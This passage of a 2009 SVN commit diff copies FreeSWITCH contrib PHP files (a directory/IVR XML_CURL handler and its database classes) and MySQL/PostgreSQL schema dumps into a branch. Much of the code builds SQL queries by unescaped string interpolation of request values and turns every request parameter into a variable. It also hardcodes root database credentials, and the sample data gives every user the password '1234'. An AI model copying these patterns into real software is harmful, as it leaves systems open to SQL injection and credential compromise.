+		$inserted = $dbh->exec($insert);
+		if ($inserted < 1){
+			die($db->errorInfo());
+		}
+	}
+}
+?> 

Deleted: freeswitch/branches/seven/contrib/swk/php/esl_cdr/esl_cdr.postgres.sql

Copied: freeswitch/branches/seven/contrib/swk/php/esl_cdr/esl_cdr.postgres.sql (from rev 14471, freeswitch/trunk/contrib/swk/php/esl_cdr/esl_cdr.postgres.sql) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/php/esl_cdr/esl_cdr.postgres.sql	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/php/esl_cdr/esl_cdr.postgres.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,71 @@
+--
+-- PostgreSQL database dump
+--
+
+SET client_encoding = 'UTF8';
+SET standard_conforming_strings = off;
+SET check_function_bodies = false;
+SET client_min_messages = warning;
+SET escape_string_warning = off;
+
+SET search_path = public, pg_catalog;
+
+SET default_tablespace = '';
+
+SET default_with_oids = false;
+
+--
+-- Name: cdr; Type: TABLE; Schema: public; Owner: root; Tablespace: 
+--
+
+CREATE TABLE cdr (
+    uuid character varying,
+    acctcode character varying,
+    ani character varying,
+    e164_ani character varying,
+    dnis character varying,
+    translated_dnis character varying,
+    e164_dnis character varying,
+    src_host character varying,
+    read_codec character varying,
+    write_codec character varying,
+    clid_name character varying,
+    clid_number character varying,
+    src_sdp character varying,
+    dest_sdp character varying,
+    originate_disposition character varying,
+    bridge_to_uuid character varying,
+    endpoint_disposition character varying,
+    sip_hangup_disposition character varying,
+    term_cause character varying,
+    hangup_cause character varying,
+    start_stamp timestamp with time zone,
+    answer_stamp timestamp with time zone,
+    progress_media_stamp timestamp with time zone,
+    end_stamp timestamp with time zone,
+    duration integer,
+    billsec integer,
+    progress_mediasec integer,
+    billmin numeric(8,2),
+    carrier_id integer,
+    cust_cost numeric(7,4),
+    carrier_cost numeric(7,4)
+);
+
+
+ALTER TABLE public.cdr OWNER TO root;
+
+--
+-- Name: public; Type: ACL; Schema: -; Owner: postgres
+--
+
+REVOKE ALL ON SCHEMA public FROM PUBLIC;
+REVOKE ALL ON SCHEMA public FROM postgres;
+GRANT ALL ON SCHEMA public TO postgres;
+GRANT ALL ON SCHEMA public TO PUBLIC;
+
+
+--
+-- PostgreSQL database dump complete
+--
+

Copied: freeswitch/branches/seven/contrib/swk/php/xml_curl (from rev 14471, freeswitch/trunk/contrib/swk/php/xml_curl)

Deleted: freeswitch/branches/seven/contrib/swk/php/xml_curl/FSConfig.php

Copied: freeswitch/branches/seven/contrib/swk/php/xml_curl/FSConfig.php (from rev 14471, freeswitch/trunk/contrib/swk/php/xml_curl/FSConfig.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/php/xml_curl/FSConfig.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/php/xml_curl/FSConfig.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,74 @@
+<?php
+
+/* 
+ * FreeSWITCH AMF-PHP ESL Client Library
+ * Copyright (C) 2009, Ken Rice <krice@tollfreegateway.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Ken Rice <krice@tollfreegateway.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Ken Rice <krice@tollfreegateway.com>
+ *
+ * freeswitch.php -- Initial Class file for XML_CURL responses for Codename: SHIPMENT
+ *
+ ***************************************************************************************************
+ * 
+ * This Requires the FreeSWITCH ESL Extension to be installed properly on your system.
+ *
+ */
+
+// require_once "ESL.php";
+ 
+class FSConfig {
+	// var $esl;
+
+	var $dbh;
+
+	public function __construct(){
+		$dbtype='mysql'; 		/* Set the Database type */
+		// $db_hostname = 'localhost'; 	/* Database Server hostname */
+		$db_hostname = '127.0.0.1'; 	/* Database Server hostname */
+		$db_port = '3306';		/* Database Server Port */
+		$db_username = 'root'; 		/* Database Server username */
+		$db_password = 'password'; 	/* Database Server password */
+		$db_database = 'shipment'; 	/* DataBase Name */
+		if ($dbtype == 'mysql') {
+			$pdo_flags =  array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true,);
+		}
+		$this->dbh = new PDO("$dbtype:host=$db_hostname;port=$db_port;dbname=$db_database", $db_username, $db_password, $pdo_flags);
+		
+	}
+
+	/*** IVR Methods Methods ***/
+	public function getConfigMenus(){
+		$query = sprintf("select * from menus");
+		$stmt = $this->dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results;
+	}
+
+	public function getConfigMenuOptions($menu_uid) {
+		$query = sprintf("select * from menu_entries where menu_uid = %s", $menu_uid);
+		$stmt = $this->dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results;
+	}
+}

Deleted: freeswitch/branches/seven/contrib/swk/php/xml_curl/FSDirectory.php

Copied: freeswitch/branches/seven/contrib/swk/php/xml_curl/FSDirectory.php (from rev 14471, freeswitch/trunk/contrib/swk/php/xml_curl/FSDirectory.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/php/xml_curl/FSDirectory.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/php/xml_curl/FSDirectory.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,163 @@
+<?php
+
+/* 
+ * FreeSWITCH AMF-PHP ESL Client Library
+ * Copyright (C) 2009, Ken Rice <krice@tollfreegateway.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Ken Rice <krice@tollfreegateway.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Ken Rice <krice@tollfreegateway.com>
+ *
+ * freeswitch.php -- Initial Class file for XML_CURL responses for Codename: SHIPMENT
+ *
+ ***************************************************************************************************
+ * 
+ * This Requires the FreeSWITCH ESL Extension to be installed properly on your system.
+ *
+ */
+
+// require_once "ESL.php";
+ 
+class FSDirectory {
+	// var $esl;
+
+	var $dbh;
+
+	public function __construct(){
+		$dbtype='mysql'; 		/* Set the Database type */
+		// $db_hostname = 'localhost'; 	/* Database Server hostname */
+		$db_hostname = '127.0.0.1'; 	/* Database Server hostname */
+		$db_port = '3306';		/* Database Server Port */
+		$db_username = 'root'; 		/* Database Server username */
+		$db_password = 'password'; 	/* Database Server password */
+		$db_database = 'shipment'; 	/* DataBase Name */
+		if ($dbtype == 'mysql') {
+			$pdo_flags =  array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true,);
+		}
+		$this->dbh = new PDO("$dbtype:host=$db_hostname;port=$db_port;dbname=$db_database", $db_username, $db_password, $pdo_flags);
+		
+	}
+
+        private function getESL() { 
+		$esl_server = "127.0.0.1"; 	/* ESL Server */
+		$esl_port = "8021"; 		/* ESL Port */
+		$esl_secret = "ClueCon"; 	/* ESL Secret */
+		$this->esl = new eslConnection($esl_server, $esl_port, $esl_secret);
+	}
+
+	/*
+	public function getStatus() {
+		$e = $this->esl->sendRecv("api status");
+		$body = $e->getBody();
+		return $body;
+	}
+	*/
+
+	/*** Directory Methods ***/
+	
+	/* Directory Domain Methods */
+	public function getDirDomains(){
+		$query = sprintf("select * from domains");
+		$stmt = $this->dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results;
+	}
+
+	public function getDirDomainbyName($domain_name){
+		$query = sprintf("select * from domains where name = '%s'", $domain_name);
+		$stmt = $this->dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results[0];
+	}
+
+	public function getDirDomain($domains_uid){
+		$query = sprintf("select * from domain_params where domains_uid = $domains_uid");
+		$stmt = $this->dbh->query($query);
+		$results['params'] = $stmt->fetchAll();
+		$query = sprintf("select * from domain_variables where domains_uid = $domains_uid");
+		$stmt = $this->dbh->query($query);
+		$results['variables'] = $stmt->fetchAll();
+		return $results;
+	}
+	
+	/* Directory User Methods */
+	public function getDirUser($user_uid){
+		$query = sprintf("select * from user_params where users_uid = $user_uid");
+		$stmt = $this->dbh->query($query);
+		$results['params'] = $stmt->fetchAll();
+		$query = sprintf("select * from user_variables where users_uid = $user_uid");
+		$stmt = $this->dbh->query($query);
+		$results['variables'] = $stmt->fetchAll();
+		return $results;
+	}
+
+	public function getDirUsers($domains_uid){
+		$query = sprintf("select * from users where domains_uid = $domains_uid");
+		$stmt = $this->dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results;
+	}
+
+	public function getDirUsersByDomainUidByUsername($domain_uid, $user_name){
+		$query = sprintf("select * from users where domains_uid = '%s' and username = '%s'", $domain_uid, $user_name);
+		$stmt = $this->dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results[0];
+	}
+
+	/* Directory Group Methods */
+	public function getDirGroups($domains_uid){
+		$query = sprintf("select * from groups where domains_uid = $domains_uid");
+		$stmt = $this->dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results;
+	}
+
+	public function getDirGroup($groups_uid){
+		$query = sprintf("select a.uid as groupMemberUid, a.users_uid as usersUid, b.username as usersUsername from group_members as a, users as b where a.groups_uid = $groups_uid and a.users_uid = b.uid") ;
+		$stmt = $this->dbh->query($query);
+		$results['members'] = $stmt->fetchAll();
+		$query = sprintf("select uid as usersUid, username as usersUsername from users where uid not in (select users_uid from group_members where groups_uid = $groups_uid) and domains_uid = (select domains_uid from groups where uid = $groups_uid)");
+		$stmt = $this->dbh->query($query);
+		$results['nonmembers'] = $stmt->fetchAll();
+		return $results;
+	}
+
+	public function getDirGroupsByDomianUidByUserUid($domain_uid, $user_uid){
+		$query = sprintf("select a.uid as groupUid, a.name as groupName, b.uid as usersUid from groups as a, group_members as b where a.uid = b.groups_uid and b.domains_uid = %s and b.users_uid = %s", $domain_uid, $user_uid) ;
+		$stmt = $this->dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results;
+	}
+
+}
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4 expandtab:
+ */
+?>

Deleted: freeswitch/branches/seven/contrib/swk/php/xml_curl/directory.php

Copied: freeswitch/branches/seven/contrib/swk/php/xml_curl/directory.php (from rev 14471, freeswitch/trunk/contrib/swk/php/xml_curl/directory.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/php/xml_curl/directory.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/php/xml_curl/directory.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+link fs_curl.php
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/swk/php/xml_curl/fs_curl.php

Copied: freeswitch/branches/seven/contrib/swk/php/xml_curl/fs_curl.php (from rev 14471, freeswitch/trunk/contrib/swk/php/xml_curl/fs_curl.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/php/xml_curl/fs_curl.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/php/xml_curl/fs_curl.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,130 @@
+<?
+
+require_once "FSDirectory.php";
+require_once "FSConfig.php";
+
+
+header ("content-type: text/xml");
+
+foreach ($_REQUEST as $key => $value) {
+	$$key = $value;
+}
+
+
+/* Uncomment and edit for debugging directory*/
+/*
+$section = "directory";
+$tag_name= "domain";
+$key_name ="name";
+$key_value="192.168.1.140";
+$user="1000";
+*/
+
+/* Uncomment and edit for debugging directory*/
+/*
+$section = "configuration";
+$tag_name= "configuration";
+$key_name ="name";
+$key_value="ivr.conf";
+*/
+/* section=configuration&tag_name=configuration&key_name=name&key_value=ivr.conf&Event-Name=REQUEST_PARAMS */
+
+if ($section == "configuration" && $tag_name == "configuration" && $key_name == "name" && $key_value == "ivr.conf" ) {
+	
+	$fsc = new FSConfig();	
+		
+	printf(" <?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n");
+	printf("   <document type=\"freeswitch/xml\">\n");
+	printf("      <section name=\"configuration\" description=\"Codename: Shipment IVR\">\n");
+	printf("        <configuration name=\"ivr.conf\" description=\"IVR menus\">\n");
+	printf("          <menus>\n");
+
+	$db_menus = $fsc->getConfigMenus();
+	foreach ($db_menus as $db_menu) {
+		printf("           <menu name=\"%s\"\n".
+			"                greet-long=\"%s\"\n".
+			"                greet-short=\"%s\"\n".
+			"                invalid-sound=\"%s\"\n".
+			"                exit-sound=\"%s\"\n".
+			"                timeout=\"%s\"\n".
+			"                inter-digit-timeout=\"%s\"\n".
+			"                max-failures=\"%s\"\n".
+			"                max-timeouts=\"%s\"\n".
+			"                digit-len=\"%s\">\n",
+			$db_menu['name'], $db_menu['greet_long'], $db_menu['greet_short'], $db_menu['invalid_sound'], 
+			$db_menu['exit_sound'], $db_menu['timeout'], $db_menu['inter_digit_timeout'], $db_menu['max_failures'], 
+			$db_menu['max_timeouts'], $db_menu['digit_len']);
+
+		$db_menuopts = $fsc->getConfigMenuOptions($db_menu['uid']);
+
+		foreach ($db_menuopts as $db_menuopt) {
+			printf("            <entry action=\"%s\" digits=\"%s\" param=\"%s\"/>\n", 
+				$db_menuopt['action'], $db_menuopt['digits'], $db_menuopt['param']);
+		}	
+
+		printf("           </menu>\n");
+	}
+	printf("          </menus>\n");
+	printf("        </configuration>\n");
+	printf("      </section>\n");
+	printf("   </document>\n");
+
+} else if ($section == "directory" && $tag_name == "domain" && $key_name == "name" && $user != "" ) {
+
+	$fsd = new FSDirectory();
+	$db_domain = $fsd->getDirDomainbyName($key_value);
+	$db_domain_settings = $fsd->getDirDomain($db_domain['uid']);
+	$db_user = $fsd->getDirUsersByDomainUidByUsername($db_domain['uid'], $user);
+	$db_user_settings = $fsd->getDirUser($db_user['uid']);
+	$db_groups = $fsd->getDirGroupsByDomianUidByUserUid($db_domain['uid'], $db_user['uid']);
+	
+	printf(" <?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n");
+	printf("   <document type=\"freeswitch/xml\">\n");
+	printf("      <section name=\"directory\" description=\"Codename: Shipment Directory\">\n");
+	printf("         <domain name=\"%s\">\n", $db_domain['name']);
+	printf("	  <params>\n");
+	foreach($db_domain_settings['params'] as $db_params) {
+		printf("	   <param name=\"%s\" value=\"%s\"/>\n", $db_params['name'], $db_params['value']);
+	}
+	printf("	  </params>\n");
+	printf("	  <variables>\n");
+	foreach($db_domain_settings['variables'] as $db_variables) {
+		printf("	   <variable name=\"%s\" value=\"%s\"/>\n", $db_variables['name'], $db_variables['value']);
+	}
+	printf("	  </variables>\n");
+	printf("           <groups>\n");
+	printf("             <group name=\"default\">\n");
+	printf("               <users>\n");
+	printf("		 <user id=\"%s\" mailbox=\"%s\">\n", $db_user['username'], $db_user['mailbox']);
+	printf("		  <params>\n");
+	foreach($db_user_settings['params'] as $db_params) {
+		printf("		   <param name=\"%s\" value=\"%s\"/>\n", $db_params['name'], $db_params['value']);
+	}
+	printf("		  </params>\n");
+	printf("		  <variables>\n");
+	foreach($db_user_settings['variables'] as $db_variables) {
+		printf("		   <variable name=\"%s\" value=\"%s\"/>\n", $db_variables['name'], $db_variables['value']);
+	}
+	printf("		  </variables>\n");
+	printf("		 </user>\n");
+	printf("               </users>\n");
+	printf("             </group>\n");
+	foreach($db_groups as $db_group){
+		printf("             <group name=\"%s\">\n", $db_group['groupName']);
+		printf("               <users>\n");
+		printf("		 <user id=\"%s\" type=\"pointer\"/>\n", $user);
+		printf("               </users>\n");
+		printf("             </group>\n");
+	}
+	
+	printf("           </groups>\n");
+	printf("         </domain>\n");
+	printf("      </section>\n");
+	printf("   </document>\n");
+	
+} else {
+	printf("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<document type=\"freeswitch/xml\">\n<section name=\"result\">\n".
+    		"<result status=\"not found\" />\n</section>\n</document>");
+	die();
+}
+?>

Copied: freeswitch/branches/seven/contrib/swk/sql (from rev 14471, freeswitch/trunk/contrib/swk/sql)

Deleted: freeswitch/branches/seven/contrib/swk/sql/shipment.mysql.sql

Copied: freeswitch/branches/seven/contrib/swk/sql/shipment.mysql.sql (from rev 14471, freeswitch/trunk/contrib/swk/sql/shipment.mysql.sql) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/sql/shipment.mysql.sql	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/sql/shipment.mysql.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,274 @@
+-- MySQL dump 10.11
+--
+-- Host: localhost    Database: shipment
+-- ------------------------------------------------------
+-- Server version	5.0.45
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
+/*!40103 SET TIME_ZONE='+00:00' */;
+/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
+/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
+/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
+/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
+
+--
+-- Table structure for table `domain_params`
+--
+
+DROP TABLE IF EXISTS `domain_params`;
+CREATE TABLE `domain_params` (
+  `uid` int(11) NOT NULL auto_increment,
+  `domains_uid` int(11) NOT NULL,
+  `name` varchar(64) NOT NULL,
+  `value` varchar(256) NOT NULL,
+  PRIMARY KEY  (`uid`),
+  KEY `domain_uid` (`domains_uid`)
+) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `domain_params`
+--
+
+LOCK TABLES `domain_params` WRITE;
+/*!40000 ALTER TABLE `domain_params` DISABLE KEYS */;
+INSERT INTO `domain_params` VALUES (1,1,'dial-string','{presence_id=${dialed_user}@${dialed_domain}}${sofia_contact(${dialed_user}@${dialed_domain})}');
+/*!40000 ALTER TABLE `domain_params` ENABLE KEYS */;
+UNLOCK TABLES;
+
+--
+-- Table structure for table `domain_variables`
+--
+
+DROP TABLE IF EXISTS `domain_variables`;
+CREATE TABLE `domain_variables` (
+  `uid` int(11) NOT NULL auto_increment,
+  `domains_uid` int(11) NOT NULL,
+  `name` varchar(64) NOT NULL,
+  `value` varchar(128) NOT NULL,
+  PRIMARY KEY  (`uid`),
+  KEY `domain_uid` (`domains_uid`)
+) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `domain_variables`
+--
+
+LOCK TABLES `domain_variables` WRITE;
+/*!40000 ALTER TABLE `domain_variables` DISABLE KEYS */;
+INSERT INTO `domain_variables` VALUES (1,1,'record_stereo','true'),(2,1,'default_gateway','$${default_provider}'),(3,1,'default_areacode','$${default_areacode}'),(4,1,'transfer_fallback_extension','operator');
+/*!40000 ALTER TABLE `domain_variables` ENABLE KEYS */;
+UNLOCK TABLES;
+
+--
+-- Table structure for table `domains`
+--
+
+DROP TABLE IF EXISTS `domains`;
+CREATE TABLE `domains` (
+  `uid` int(11) NOT NULL auto_increment COMMENT 'UID for the table Auto Assigned',
+  `name` varchar(128) NOT NULL COMMENT 'domaine name',
+  `enabled` tinyint(1) NOT NULL default '1',
+  PRIMARY KEY  (`uid`),
+  UNIQUE KEY `name` (`name`)
+) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `domains`
+--
+
+LOCK TABLES `domains` WRITE;
+/*!40000 ALTER TABLE `domains` DISABLE KEYS */;
+INSERT INTO `domains` VALUES (1,'192.168.1.140',1);
+/*!40000 ALTER TABLE `domains` ENABLE KEYS */;
+UNLOCK TABLES;
+
+--
+-- Table structure for table `group_members`
+--
+
+DROP TABLE IF EXISTS `group_members`;
+CREATE TABLE `group_members` (
+  `uid` int(11) NOT NULL auto_increment,
+  `domains_uid` int(11) NOT NULL,
+  `groups_uid` int(11) NOT NULL,
+  `users_uid` int(11) NOT NULL,
+  `type` varchar(32) NOT NULL,
+  PRIMARY KEY  (`uid`),
+  KEY `domain_uid` (`domains_uid`,`groups_uid`,`users_uid`)
+) ENGINE=MyISAM AUTO_INCREMENT=13 DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `group_members`
+--
+
+LOCK TABLES `group_members` WRITE;
+/*!40000 ALTER TABLE `group_members` DISABLE KEYS */;
+INSERT INTO `group_members` VALUES (1,1,1,1,'pointer'),(2,1,1,2,'pointer'),(3,1,1,3,'pointer'),(4,1,1,4,'pointer'),(5,1,2,5,'pointer'),(6,1,2,6,'pointer'),(7,1,2,7,'pointer'),(8,1,2,8,'pointer'),(9,1,3,9,'pointer'),(10,1,3,10,'pointer'),(11,1,3,11,'pointer'),(12,1,3,12,'pointer');
+/*!40000 ALTER TABLE `group_members` ENABLE KEYS */;
+UNLOCK TABLES;
+
+--
+-- Table structure for table `groups`
+--
+
+DROP TABLE IF EXISTS `groups`;
+CREATE TABLE `groups` (
+  `uid` int(11) NOT NULL auto_increment,
+  `domains_uid` int(11) NOT NULL,
+  `name` varchar(64) NOT NULL,
+  PRIMARY KEY  (`uid`),
+  KEY `domain_uid` (`domains_uid`)
+) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `groups`
+--
+
+LOCK TABLES `groups` WRITE;
+/*!40000 ALTER TABLE `groups` DISABLE KEYS */;
+INSERT INTO `groups` VALUES (1,1,'sales'),(2,1,'billing'),(3,1,'support');
+/*!40000 ALTER TABLE `groups` ENABLE KEYS */;
+UNLOCK TABLES;
+
+--
+-- Table structure for table `menu_entries`
+--
+
+DROP TABLE IF EXISTS `menu_entries`;
+CREATE TABLE `menu_entries` (
+  `uid` int(11) NOT NULL auto_increment,
+  `menu_uid` int(11) NOT NULL,
+  `action` varchar(32) NOT NULL,
+  `digits` varchar(16) NOT NULL,
+  `param` varchar(256) default NULL,
+  PRIMARY KEY  (`uid`)
+) ENGINE=MyISAM AUTO_INCREMENT=9 DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `menu_entries`
+--
+
+LOCK TABLES `menu_entries` WRITE;
+/*!40000 ALTER TABLE `menu_entries` DISABLE KEYS */;
+INSERT INTO `menu_entries` VALUES (1,1,'menu-exec-app','1','bridge sofia/$${domain}/888@conference.freeswitch.org'),(2,1,'menu-exec-app','2','transfer 9996 XML default'),(3,1,'menu-exec-app','3','transfer 9999 XML default'),(4,1,'menu-sub','4','demo_ivr_submenu'),(5,1,'menu-exec-app','5','transfer 1234*256 enum'),(6,1,'menu-exec-app','/^(10[01][0-9])$','transfer $1 XML features'),(7,1,'menu-top','9',NULL),(8,2,'menu-top','*',NULL);
+/*!40000 ALTER TABLE `menu_entries` ENABLE KEYS */;
+UNLOCK TABLES;
+
+--
+-- Table structure for table `menus`
+--
+
+DROP TABLE IF EXISTS `menus`;
+CREATE TABLE `menus` (
+  `uid` int(11) NOT NULL auto_increment,
+  `name` varchar(64) NOT NULL,
+  `greet_long` varchar(256) default NULL,
+  `greet_short` varchar(256) default NULL,
+  `invalid_sound` varchar(256) default NULL,
+  `exit_sound` varchar(256) default NULL,
+  `timeout` int(11) default NULL,
+  `inter_digit_timeout` int(11) default NULL,
+  `max_failures` int(11) default NULL,
+  `max_timeouts` int(11) default NULL,
+  `digit_len` int(11) default NULL,
+  PRIMARY KEY  (`uid`)
+) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `menus`
+--
+
+LOCK TABLES `menus` WRITE;
+/*!40000 ALTER TABLE `menus` DISABLE KEYS */;
+INSERT INTO `menus` VALUES (1,'demo_ivr','phrase:demo_ivr_main_menu','phrase:demo_ivr_main_menu_short','ivr/ivr-that_was_an_invalid_entry.wav','voicemail/vm-goodbye.wav',10000,2000,3,3,4),(2,'demo_ivr_submenu','phrase:demo_ivr_sub_menu','phrase:demo_ivr_sub_menu_short','ivr/ivr-that_was_an_invalid_entry.wav','voicemail/vm-goodbye.wav',15000,NULL,3,3,NULL);
+/*!40000 ALTER TABLE `menus` ENABLE KEYS */;
+UNLOCK TABLES;
+
+--
+-- Table structure for table `user_params`
+--
+
+DROP TABLE IF EXISTS `user_params`;
+CREATE TABLE `user_params` (
+  `uid` int(11) NOT NULL auto_increment,
+  `users_uid` int(11) NOT NULL,
+  `name` varchar(64) NOT NULL,
+  `value` varchar(128) NOT NULL,
+  PRIMARY KEY  (`uid`),
+  KEY `user_uid` (`users_uid`)
+) ENGINE=MyISAM AUTO_INCREMENT=39 DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `user_params`
+--
+
+LOCK TABLES `user_params` WRITE;
+/*!40000 ALTER TABLE `user_params` DISABLE KEYS */;
+INSERT INTO `user_params` VALUES (1,1,'password','1234'),(2,1,'vm-password','1000'),(3,2,'password','1234'),(4,2,'vm-password','1002'),(5,3,'password','1234'),(6,3,'vm-password','1003'),(7,4,'password','1234'),(8,4,'vm-password','1004'),(9,5,'password','1234'),(10,5,'vm-password','1005'),(11,6,'password','1234'),(12,6,'vm-password','1006'),(13,7,'password','1234'),(14,7,'vm-password','1007'),(15,8,'password','1234'),(16,8,'vm-password','1008'),(17,9,'password','1234'),(18,9,'vm-password','1009'),(19,10,'password','1234'),(20,10,'vm-password','1010'),(21,11,'password','1234'),(22,11,'vm-password','1011'),(23,12,'password','1234'),(24,12,'vm-password','1012'),(25,13,'password','1234'),(26,13,'vm-password','1013'),(27,14,'password','1234'),(28,14,'vm-password','1014'),(29,15,'password','1234'),(30,15,'vm-password','1015'),(31,16,'password','1234'),(32,16,'vm-password','1016'),(33,17,'password','1234'),(34,17,'vm-password','1017'),(35,18,'password','1234'),(36,18,'vm-password','1018'),(37,19,'password','1234'),(38,19,'vm-password','1019');
+/*!40000 ALTER TABLE `user_params` ENABLE KEYS */;
+UNLOCK TABLES;
+
+--
+-- Table structure for table `user_variables`
+--
+
+DROP TABLE IF EXISTS `user_variables`;
+CREATE TABLE `user_variables` (
+  `uid` int(11) NOT NULL auto_increment,
+  `users_uid` int(11) NOT NULL,
+  `name` varchar(64) NOT NULL,
+  `value` varchar(128) NOT NULL,
+  PRIMARY KEY  (`uid`),
+  KEY `user_uid` (`users_uid`)
+) ENGINE=MyISAM AUTO_INCREMENT=9 DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `user_variables`
+--
+
+LOCK TABLES `user_variables` WRITE;
+/*!40000 ALTER TABLE `user_variables` DISABLE KEYS */;
+INSERT INTO `user_variables` VALUES (1,1,'toll_allow','domestic,international,local'),(2,1,'accountcode','1000'),(3,1,'user_context','default'),(4,1,'effective_caller_id_name','Extension 1000'),(5,1,'effective_caller_id_number','1000'),(6,1,'outbound_caller_id_name','$${outbound_caller_name}'),(7,1,'outbound_caller_id_number','$${outbound_caller_id}'),(8,1,'callgroup','techsupport');
+/*!40000 ALTER TABLE `user_variables` ENABLE KEYS */;
+UNLOCK TABLES;
+
+--
+-- Table structure for table `users`
+--
+
+DROP TABLE IF EXISTS `users`;
+CREATE TABLE `users` (
+  `uid` int(11) NOT NULL auto_increment,
+  `domains_uid` int(11) NOT NULL,
+  `username` varchar(64) NOT NULL,
+  `mailbox` varchar(64) default NULL,
+  `cidr` varchar(32) default NULL,
+  `enabled` tinyint(1) NOT NULL default '1',
+  PRIMARY KEY  (`uid`),
+  KEY `domain_uid` (`domains_uid`,`username`,`mailbox`)
+) ENGINE=MyISAM AUTO_INCREMENT=21 DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `users`
+--
+
+LOCK TABLES `users` WRITE;
+/*!40000 ALTER TABLE `users` DISABLE KEYS */;
+INSERT INTO `users` VALUES (1,1,'1000','1000',NULL,1),(2,1,'1001','1001',NULL,1),(3,1,'1002','1002',NULL,1),(4,1,'1003','1003',NULL,1),(5,1,'1004','1004',NULL,1),(6,1,'1005','1005',NULL,1),(7,1,'1006','1006',NULL,1),(8,1,'1007','1007',NULL,1),(9,1,'1008','1008',NULL,1),(10,1,'1009','1009',NULL,1),(11,1,'1010','1010',NULL,1),(12,1,'1011','1011',NULL,1),(13,1,'1012','1012',NULL,1),(14,1,'1013','1013',NULL,1),(15,1,'1014','1014',NULL,1),(16,1,'1015','1015',NULL,1),(17,1,'1016','1016',NULL,1),(18,1,'1017','1017',NULL,1),(19,1,'1018','1018',NULL,1),(20,1,'1019','1019',NULL,1);
